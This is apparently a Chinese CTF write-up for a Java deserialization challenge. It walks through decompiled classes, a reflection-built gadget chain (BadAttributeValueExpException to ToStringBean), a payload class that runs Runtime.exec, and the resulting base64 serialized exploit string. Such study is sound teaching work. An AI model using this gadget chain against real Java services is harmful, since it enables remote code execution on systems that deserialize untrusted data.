入门第一道题目


运行jar包,访问8888端口,发现只是正常index返回。

img所所以还是反编译jar包看一下:

Tools
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package com.ezgame.ctf.tools;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/tools/Tools.class */
public class Tools {
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}

public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}

public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
}

该类下是执行了一个base64的加密和解密以及序列化和反序列化的过程

ToStringBean
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.ezgame.ctf.tools;

import java.io.Serializable;

/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/tools/ToStringBean.class */
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;

public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String) null, this.ClassByte, 0, this.ClassByte.length);
try {
clazz.newInstance();
return "enjoy it.";
} catch (IllegalAccessException e) {
e.printStackTrace();
return "enjoy it.";
} catch (InstantiationException e2) {
e2.printStackTrace();
return "enjoy it.";
}
}
}

该类重写了tostring方法‘。ToStringBean: 继承了ClassLoader,而这可以通过调用defineClass,从而动态加载一个类,将这个类实例化从而达到命令执行。这里只要能调用toString就能加载我们传入的恶意字节码,其中ClassByte就是我们要传入的恶意字节码,由于是私有的,所以只能通过反射来进行赋值。

User
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.ezgame.ctf.bean;

import java.io.Serializable;

/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/bean/User.class */
public class User implements Serializable {
private String UserName;
private String PassWord;

public String getUserName() {
return this.UserName;
}

public void setUserName(String userName) {
this.UserName = userName;
}

public String getPassWord() {
return this.PassWord;
}

public void setPassWord(String passWord) {
this.PassWord = passWord;
}

public String toString() {
return "User{UserName='" + this.UserName + "', PassWord='" + this.PassWord + "'}";
}
}

该类是典型的bean,规定了user的内容

重点地方是下面这个类

IndexController
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.ezgame.ctf.controller;

import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
/* loaded from: e14568b06e182.jar:BOOT-INF/classes/com/ezgame/ctf/controller/IndexController.class */
public class IndexController {
@RequestMapping({"/"})
@ResponseBody
public String index(HttpServletRequest request, HttpServletResponse response) {
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}

@RequestMapping({"/readobject"})
@ResponseBody
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
return "welcome bro.";
}
return "welcome bro.";
}
}

从中我们可以看到在readobject路由下,会接受一个POST参数data,之后会对data参数进行base64编码,并将其(InputStream)转化为一个对象流,从中读取UTF(readUTF())和INT(readInt()),将得到的UTF与“gadgets”对比,Int与2021对比,相等则执行objectInputStream.readObject();

所以·对data参数进行反序列化,toStringBean类重写了toString方法。然后BadAttributeValueExpException类的readobject方法中调用了valtoString()方法,val可以传入toStringBean,从而在调用BadAttributeValueExpExceptionreadobject的时候调用的toStringBeantoString()方法。

因而我们的exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.ezgame.ctf.tools.Tools;
import com.ezgame.ctf.tools.ToStringBean;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Exp {
public static void main(String[] args) throws Exception {
ToStringBean tostringbean = new ToStringBean();
//反射修改classByte属性
Field classByteField = tostringbean.getClass().getDeclaredField("ClassByte");
classByteField.setAccessible(true);
//C:\Users\a\Desktop\javaaudit\webpoc\src\payload.java
byte[] classByteone = Files.readAllBytes(Paths.get("C:\\Users\\a\\Desktop\\javaaudit\\webpoc\\src\\com\\ezgame\\ctf\\payload.class"));
classByteField.set(tostringbean, classByteone);

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(11223);
//反射修改val属性
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, tostringbean);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
//序列化payload.java的字节码
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);
byte[] bytes1 = byteArrayOutputStream.toByteArray();
String base64String1 = Tools.base64Encode(bytes1);
System.out.println(base64String1);
}
}

payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.ezgame.ctf;//这里包名不要变,要与jar包中保持一致

import java.io.IOException;

public class payload {
static {
try {
Runtime.getRuntime().exec("calc");
}
catch(IOException e){
e.printStackTrace();
}
}
}

使用cmd下命令java -jar payload.java编译成class文件

最终得到

1
rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAFXQAA0V4cHQACEV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAIWNvbS5lemdhbWUuY3RmLnRvb2xzLlRvU3RyaW5nQmVhbhPMVFon2dx5AgABWwAJQ2xhc3NCeXRldAACW0J4cHVyAAJbQqzzF/gGCFTgAgAAeHAAAAIDyv66vgAAADcAIAoACAARCgASABMIABQKABIAFQcAFgoABQAXBwAYBwAZAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAAxwYXlsb2FkLmphdmEMAAkACgcAGgwAGwAcAQAEY2FsYwwAHQAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAHwAKAQAWY29tL2V6Z2FtZS9jdGYvcGF5bG9hZAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAACAAEACQAKAAEACwAAAB0AAQABAAAABSq3AAGxAAAAAQAMAAAABgABAAAABQAIAA0ACgABAAsAAABPAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAAAgACQAMAAwACgANAAsAEQANAA4AAAAHAAJMBwAFBAABAA8AAAACABA=

但传入参数时注意url编码,因为base64编码后存在+号,而url传参时会将+号识别为空格。